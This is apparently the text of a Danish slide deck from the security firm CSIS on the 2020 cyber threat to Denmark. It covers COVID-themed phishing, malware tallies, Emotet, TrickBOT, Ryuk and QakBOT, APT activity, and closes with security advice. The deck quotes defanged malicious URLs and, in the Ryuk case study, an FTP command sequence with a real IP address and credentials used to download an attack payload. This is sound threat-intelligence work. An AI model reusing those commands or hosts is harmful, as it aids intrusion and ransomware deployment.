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• Danskejet selskab, grundlagt, 2003
• Ca. 70 ansatte, 24 nationaliteter
• Datacentre over hele verden
• IT sikkerhedsleverandør til verdens største selskaber
• Rådgiver til Europol EC3, Interpol, medlem af CARO, og medstifter af SIE-Europe
• Vært for Copenhagen Cybercrime Conference
• Søsterselskaber Defendas og Agile Technologies
• Grundlægger af Heimdal
• Peter Kruse har arbejdet professionelt med it-sikkerhed i næsten 20 år og analyserede 

sin første computervirus i 1984
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Hvem er CSIS og whois: Peter Kruse?



Agenda 1.00 Trends i en Corona krise
2.00 Phishing, Vishing, Smishing og spear phishing
3.00 Crime as a Service & ransomware
4.00 APT i Danmark 2020
5.00    Gode råd & spørgsmål

Den aktuelle cybertrussel mod Danmark



Cybercrime

1.00 Trends under en Corona krise
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• Vi har vendt det digitale trusselsbillede på hovedet og decentraliseret endpoints
• Som med andre verdensomspændende nyheder, så misbruges sådanne af kriminelle
• I denne fase er både statsaktører og it-kriminelle helt opmærksomme på at vores 

perimeter er blevet udvidet, og nemmere at penetrere
• Når der arbejdes decentralt, så eksponeres nye services og flere angrebsvinkler 

introduceres. 
• Enhver hjemmearbejdsplads, som er dårligt sikret, kan blive et springbræt ind i et 

netværk 
• End of Life, opdateringer, router, sammenblanding af en masse trafik fra hjem til LAN 

og wifi konfiguration er en stor udfordring for alle virksomhedstyper
• Der laves phishing og smishing i en hidtil uset grad
• CEO og BEC svindel har kickstartet sommer tendensen
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Trends under en Corona krise



• Generelt er Danmark ramt af de samme store generiske malware familier som 
rammer vores nabolande. Payload i anden stadie varierer med afsæt i GeoIP

• Mere end 80 procent er dataindsamlende malware (!)
• Den største andel af malware båret via spammails er skabt med malware toolkits
• I 76 procent er både første og andet stadie af infektionen beskyttet ved brug af en 

cryptor og anvender bullet proof hosting som infrastruktur
• Makro- og exploit payload i dokumenter er mest hyppigt anvendte metode
• Mindre end 0,5 procent er decideret APT relateret (men vent … det er slemt nok!)
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Spamkampagner og payload mod Danmark
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Spamkampagner og payload mod Danmark
Navn Antal
Emotet 125191
DreamBOT 1042
Azorult 2001
Jbifrost 7511
Nanocore 10844
LokiBOT 17011
Formbook 24012
ZeuS 9013
TrickBOT 73181
Remcos 3011
DanaBOT 1911
Carbanak 141
Cobalt Strike 299
APT28 96
RevengeRAT 867
ISR Stealer 309
Pony 1039
EvilPony 200
PandaZeuS 104
FlawedAmmyy RAT 581
Hawkeye 1571
Agent Tesla 705
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2.00 Phishing, Vishing, Smishing og spear phishing
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Sundhedsstyrelsen misbruges
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Spear phishing tricks



Spear phishing
Mærsk misbrugt i leverance af en Gh0stRAT
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Spear phishing
Payload: Netwire RAT
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Spear phishing
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Denne spear phishing 
kampagne vil ved åbning
af dokumentet, og 
accept af makro/VBA 
kørsel, droppe “Zloader” 
til windows maskinen. 
Zloader er som navnet
antager en første stadie
infection som henter og 
kører – I dette tilfælde –
en modificeret udgave af
den udødlife datatyv
ZeuS. 
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Det tredje eksempel
anvender også et Covid-19 
tema og inkluderer et link 
som ofret skal klikke på: 
http://gbud.webd[.]pl/image
s/COVID-19-04-01-2020.IMG

Det pågældende image 
indeholder en binær fil som
ved kørsel vil komproitteret
maskinen med en RAT i
Nanocore klassen.

Spear phishing

http://gbud.webd%5Bdot%5Dpl/images/COVID-19-04-01-2020.IMG
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3.00 Crime as a Service & ransomware
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Emotet C&C Tier-1 (GeoIP -> Heatmap)
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Crime as a Service
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Crime as a Service



• Maskine kompromitteres af Emotet
• Emotet downloader TrickBOT

-> TrickBOT høster data og spawner en shell der henter GPO der deployes via:

open 159.69.68.218  
user soft_public bhuyBYbfBfgybAHJDSFBbHYUSFhnjf
binary  
get policy1.zip  
 Bye

 +10.000 maskiner rammes i løbet af 3 timer af Ryuk
 Samme modus operanti mod Norske Hydro, hospitaler, skoler, presse m.v.
 Ryuk operationen er styret af Grim Spider
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Case story: Ryuk ransomware 



• TrickBOT er en modulbaseret bank trojaner (Crime as a Service) og dele af basekoden 
udspringer fra forgængeren Dyreza/Dyre

• TrickBOT er særlig farlig da den bl.a. anvendes af ransomware grupper og særligt 
modulerne: 
worm(32|64)DLL: EternalBlue og EternalRomance. Scanner via IPC og Active Directory samt Net Share

• ”adll(32|64)DLL” er en dumper til Active Directory via API'et "ntdsutil". Dumper endvidere KKM/SMA, 
HKLM/security samt HKLM/System. Dumps droppes lokalt og transporteres krypteret til C&C

• ”network(32|64)DLL”: Netværk grabber
• ”domain(32|64) DLL”: Domæne grabber
• ”psfinDll(32|64)DLL”: Point-of-Sale grabber

[…]
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Case story: TrickBOT som elevator 
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Ransomware

Ransomware Antal

Maze 267
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Arescrypt 401
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Ahihi 201

Scarab 514
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Matrix 68

BlackRouter 449

Global Imposter 3791
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• Qbot / QakBOT har samme modus operanti som TrickBOT
• Den indeholder et snedigt e-mail modul som kan indsætte links på en kompromitteret 

e-mail klient og derved indgå i en eksisterende e-mail tråd
• Den er kendt for bl.a. at droppe ”Maze” og udgør en dobbelt trussel:

1) Krypterer data og afpresser med kryptovaluta
• 2) Truer med at lække data
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Case story: qBOT/QakBOT



Ransomware
CORONAVIRUS (ransomware og datatyv)
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4.00 APT i Danmark 2020
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• Vi ser en stigning i APT aktivitet rettet mod infrastruktur og samfundskritiske 
funktioner og installationer

• Alene i 2020 kan vi, via vores unikke CSIS TI services bekræfte +20 succesfulde angreb
• APT familier observeret i relation til kampagner mod Danmark over 12 måneder 

omfatter følgende APT klasser:

- Stuxnet (legacy – oprydning savnes)
- DarkHotel
- APT1 
- Pitty Tiger
- DoubleFantasy
- EquationDrug
- Dark Wetter (DK kampagne)
- FIN6/7
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APT i Danmark 2020

- Dino
- Black Vine
- TripleFantasy
- Putty Panda
- Carbanak
- Cobalt Strike
- APT28
- Comfoo
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• I løbet af Maj 2020 har vi set flere spear phishing kampagner der rammer mål i DK
• Mål er bekræftet til forskning, militær, våbenindustri eller supply chain
• Der lokkes med en særligt udformet e-mail med et jobtilbud fra BAE systems
• Med e-mailen er vedhæftet et dokument med titlen "Senior_Design_Engineer.docx”
• Dokumentet henter en skabelon med indlejret VBA/makro payload fra

https://www.astedams[.]it/uploads/frame/61.dot (samme server bruges som C&C)

• Indholdet af dokumentet bruger social engineering hvor brugeren skal lokkes til at 
acceptere makrokørsel hvorefter der aktiveres et CoM objekt der spawner en shell

• Scripts afgør om dokumentet er åbnet på Mac eller PC der stemmer payload. Server 
download er IP fenced

• Andre IoCs fra samme kampagne: astedam[.]it, thetisweb[.]it, mbrainingevents[.]com, 
kingsvc[.]cc, sofa.rs, afuocolento.it (C&C GW) :/wp-admin/network/server_test.php
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Lazarus i Danmark 2020
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• APT aktører fortsætter med at udvikle in-house software eller købe det hos 
underleverandører

• Mindre cyber kapable stater shopper hos underlevendører og udviklingshuse med 
fokus på overvågning. Det gælder os indkøb af 0 dags sårbarheder eller exploitkits

• Distributionen er kreativ, lav i volume og yderst målrettet
• APT udvikles ikke udelukkende til PC, men findes også til forskellige Linux 

distributioner, Mac, routere m.fl.
• Flere dygtige APT grupper gemmer sig i støjen fra Crime as a Service som f.eks. I dette 

tilfælde 
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APT i Danmark 2020 og trends



Den aktuelle cybertrussel mod Danmark

6.00 Opsamling og gode råd
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• Udvis sund fornuft. Klik ikke ukritisk på materiale som kommer uopfordret
• Sørg for at holde alt dit udstyr opdateret
• Etablerer en sikkerhed praksis omkring fjernsupport
• Tag backup – glem ikke clouden
• Endpoint sikkerhed (AV, FW, policies)
• Genbrug aldrig password. Vælg et godt password og evt en password manager
• Hvis i tvivl, så hellere tøv og ring til afsender eller en ven for bekræftelse eller hjælp
• Del ikke oplysninger ukritisk på nettet
• Slå 2FA (totrinsgodkendelse) til overalt det er tilgængeligt 
• Lås din maskine med en skærmlås når du ikke bruger den, begræns adgang til 

hjemmearbejdspladsen i hjemmet. Del den ikke med børn
• Sikre hardware (routere/wifi, firmware, passwords osv.)
• Indtast aldrig sensitive oplysninger på en offentlig maskine
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Gode råd /opsummering



Tak for Jeres tid!
- Er der nogen spørgsmål?

Kontaktoplysninger:
pkr@csis.dk

PGP-ID: 0x715FB4BD

Fingerprint: E1A6 7FA1 F11B 4CB5 
E79F  1E14 EE9F 9ADB 715F B4BD

www.csis.dk

REST ASSURED
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